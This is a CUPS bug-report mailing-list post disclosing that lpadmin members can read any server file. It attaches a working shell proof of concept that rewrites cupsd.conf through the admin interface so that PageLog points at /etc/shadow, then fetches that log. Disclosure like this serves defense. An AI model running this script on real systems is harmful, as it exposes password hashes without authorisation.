[Pkg-cups-devel] Bug#692791: members of lpadmin can read every file on server via cups

[Jörg Ludwig]

A line break got inserted into the script while posting. Here is the 
correct one.

-- 
Mit freundlichen Grüßen,

Jörg Ludwig

IServ GmbH
Rebenring 33
38106 Braunschweig

Telefon:     0531-3804450
Fax:         0531-4287745
Mobil:       0179-9101055
E-Mail:      joerg.ludwig at iserv.eu
Internet:    www.iserv.eu
USt.-IdNr.:  DE265149425
-------------- next part --------------
#!/bin/sh
set -e

# backup cupsd.conf
cp /etc/cups/cupsd.conf /tmp

AUTH="Authorization: Local $(cat /var/run/cups/certs/0)"

POST -d -H "$AUTH" -H "Cookie: org.cups.sid=" http://localhost:631/admin/ <<EOF
OP=config-server&org.cups.sid=&SAVECHANGES=1&CUPSDCONF=Listen localhost:631%0APageLog /etc/shadow
EOF

GET http://localhost:631/admin/log/page_log